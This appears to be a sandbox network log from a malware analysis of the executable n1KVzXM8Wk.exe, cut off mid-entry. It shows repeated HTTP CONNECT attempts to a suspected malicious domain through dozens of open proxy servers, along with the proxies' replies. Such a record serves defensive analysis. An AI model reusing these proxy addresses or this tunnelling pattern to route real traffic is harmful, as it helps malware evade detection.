Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.4	52145	162.223.91.11	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.514204979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.287501097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.4	52118	104.223.45.93	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.514388084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.682822943 CET	835	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html;charset=utf-8 Content-Length: 424 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Proxy-Authenticate: Basic realm=""Proxy"" X-Cache: MISS from us1814.tmobatt.com X-Cache-Lookup: NONE from us1814.tmobatt.com:80 Via: 1.1 us1814.tmobatt.com (squid) Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 68 31 3e 45 52 52 4f 52 3a 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 68 31 3e 0a 09 09 3c 68 34 3e 45 72 72 6f 72 20 63 6f 64 65 3a 20 30 32 3c 2f 68 34 3e 0a 09 09 3c 68 34 3e 44 61 74 65 3a 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 32 31 20 47 4d 54 3c 2f 68 34 3e 0a 09 09 3c 68 34 3e 52 65 71 75 65 73 74 3a 20 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 68 34 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Access Denied</title></head><body><h1>ERROR: Access Denied</h1><h4>Error code: 02</h4><h4>Date: Fri, 23 Feb 2024 08:45:21 GMT</h4><h4>Request: https://heygirlisheeverythingyouwantedinaman.com/*</h4></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.4	51002	103.139.25.121	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.516743898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.578572989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.4	52063	193.136.97.17	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.520462036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178138971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866143942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.178441048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.865880013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475153923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179179907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.368462086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.474905968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.4	52117	37.48.120.146	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.520787954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098526955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612669945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.647265911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.716630936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.834606886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.835026026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834892035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.804964066 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.4	51203	190.120.250.73	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.528192997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680871964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.865858078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.470381975 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.4	51254	184.178.172.23	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.528309107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.4	51913	218.75.102.198	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.538022995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.4	52132	192.169.226.96	32074	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.538278103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098498106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.4	51988	211.222.252.187	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.545049906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.4	51934	103.216.50.143	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.561141968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.919680119 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.4	52134	54.38.176.200	12882	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.561876059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178044081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.4	51225	213.157.112.66	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.564560890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680804014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.865868092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866118908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.4	52181	104.17.248.164	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.564763069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.652230024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.4	52067	92.255.164.166	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.566401958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.4	52144	212.110.188.198	34405	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.572407961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098624945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.443448067 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.4	51029	128.199.196.31	14602	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.574470997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680833101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.865884066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866075993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.4	52018	198.44.255.3	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.580313921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.211453915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.501055002 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.4	51977	102.212.86.37	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.589185953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.4	52000	20.24.43.214	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.596486092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.922852039 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.4	52244	178.128.157.114	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.618433952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.4	52249	178.128.157.114	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.620536089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.4	52165	184.178.172.25	15291	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.620944023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.4	52251	178.128.157.114	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.622853041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.4	52256	178.128.157.114	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.624555111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.4	51346	207.180.198.241	35119	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.628779888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740567923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.834686041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834757090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.834348917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:57.834480047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:09.904215097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.4	52200	45.196.150.222	5432	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.631807089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.726418018 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.4	51983	60.161.246.33	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.631808043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:00.850656033 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:46:00 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3745 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta 